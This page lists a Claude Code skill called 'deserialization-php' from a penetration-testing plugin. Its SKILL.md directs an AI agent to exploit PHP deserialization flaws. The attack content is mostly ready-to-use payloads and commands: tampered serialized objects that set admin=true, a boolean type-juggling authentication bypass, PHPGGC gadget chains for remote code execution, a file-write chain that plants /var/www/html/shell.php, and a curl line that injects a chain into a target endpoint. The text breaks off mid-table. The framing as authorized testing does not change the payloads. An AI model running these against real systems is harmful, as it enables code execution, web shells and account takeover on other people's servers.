Skip to content
Security
Skill

/deserialization-php

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

From plugin
red-run
25379 skills12 agents7 MCP
Install
$ npx -y skills add blacklanternsecurity/red-run --skill deserialization-php --agent claude-code

How it fires

How this skill gets triggered: by you, by Claude, or both.

  • Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
  • You can call itInvoke it directly when you want it.
  • Slash command/deserialization-php

Context preview

The summary Claude sees to decide when to auto-load this skill.

Exploit PHP deserialization vulnerabilities during authorized penetration testing.

SKILL.md

deserialization-php.SKILL.md
name: deserialization-php
description: >
  Exploit PHP deserialization vulnerabilities during authorized penetration
  testing.
keywords:
  - php deserialization
  - php object injection
  - unserialize exploit
  - __wakeup exploit
  - __destruct exploit
  - phar deserialization
  - phar polyglot
  - PHPGGC
  - Laravel deserialization
  - PHP POP chain
  - php magic methods exploit
  - type juggling auth bypass
tools:
  - phpggc
  - burpsuite
  - exiftool
opsec: medium

PHP Deserialization

You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to `unserialize()` or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

  • Print `[deserialization-php] Activated → <target>` to the screen on activation.
  • **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

  • Skip re-testing targets, parameters, or vulns already confirmed
  • Leverage existing credentials or access for this technique
  • Understand what's been tried and failed (check Blocked section)

Your return summary must include:

  • New targets/hosts discovered (with ports and services)
  • New credentials or tokens found
  • Access gained or changed (user, privilege level, method)
  • Vulnerabilities confirmed (with status and severity)
  • Pivot paths identified (what leads where)
  • Blocked items (what failed and why, whether retryable)

Prerequisites

  • A PHP deserialization endpoint (`unserialize()` on user input, or filesystem

function accepting `phar://`)

  • Tools: `phpggc` (`git clone https://github.com/ambionics/phpggc`),

Burp Suite for request interception

  • Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)

Step 1: Assess

If not already provided, determine:

1. **Serialization format** — look for these patterns:

| Pattern | Meaning | Example | |---------|---------|---------| | `O:<len>:"<class>"` | Serialized object | `O:8:"stdClass":1:{s:1:"a";s:1:"b";}` | | `a:<count>:{...}` | Serialized array | `a:2:{i:0;s:3:"foo";i:1;s:3:"bar";}` | | `s:<len>:"<value>"` | Serialized string | `s:5:"hello";` | | `Tz` (base64) | Base64-encoded serialized | Decode to check for `O:` or `a:` |

2. **Entry point**:

  • GET/POST parameters
  • Cookies (session data, auth tokens)
  • HTTP headers
  • File uploads (phar:// trigger)
  • Database-stored serialized data

3. **Framework** — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)

4. **PHP version** — PHP 7.0+ supports `allowed_classes` option in `unserialize()`, PHP 7.4+ has `__serialize()`/`__unserialize()`

Skip if context was already provided.

Step 2: Basic Object Injection

Direct Injection (Custom Application)

If the application has vulnerable classes with exploitable magic methods:

# Magic methods triggered during deserialization:
# __wakeup()    — called when object is unserialized
# __destruct()  — called when object is garbage collected (most reliable)
# __toString()  — called when object is cast to string
# __call()      — called when undefined method is invoked
# __get()       — called when undefined property is read

**Test payload** — modify object properties:

# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}

# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}

Type Juggling via Deserialization

Exploit loose comparison (`==`) in PHP:

# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true

Private/Protected Property Injection

PHP serialization encodes visibility with null bytes:

# Public property
s:4:"name";s:5:"value";

# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";

# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";

Step 3: PHPGGC (Framework Gadget Chains)

PHPGGC generates POP chains for common PHP frameworks and libraries.

# List all available gadget chains
phpggc --list

# Common RCE chains
phpggc Monolog/RCE1 system id                    # Monolog logging
phpggc Monolog/RCE2 system id                    # Monolog alternative
phpggc Laravel/RCE9 system id                    # Laravel framework
phpggc Laravel/RCE13 system id                   # Laravel alternative
phpggc Symfony/RCE4 system id                    # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data  # File write

# Output formats
phpggc Monolog/RCE1 system id -s                 # Serialized string
phpggc Monolog/RCE1 system id -b                 # Base64 encoded
phpggc Monolog/RCE1 system id -u                 # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar  # PHAR format

# Inject into parameter
curl -X POST https://TARGET/endpoint \
  -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"

**Framework → chain selection:**

| Framework/Library | Chains | Notes | |-------------------|--------|-------| | Laravel | RCE9, RCE13, RCE15 | Requires APP_KEY for encrypted cookies | | Symfony | RCE4+ | Common in Symfony-based apps | | Monolog | RCE1, RCE2 | Widely used logging library | | Guzzle | FW1, Info1 | HTTP client — file write chains | | SwiftMailer | FW1-4 | Email library — file write | | Doctri

Read more
Ships withred-run

Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,

Get the whole plugin

Other skills on red-run.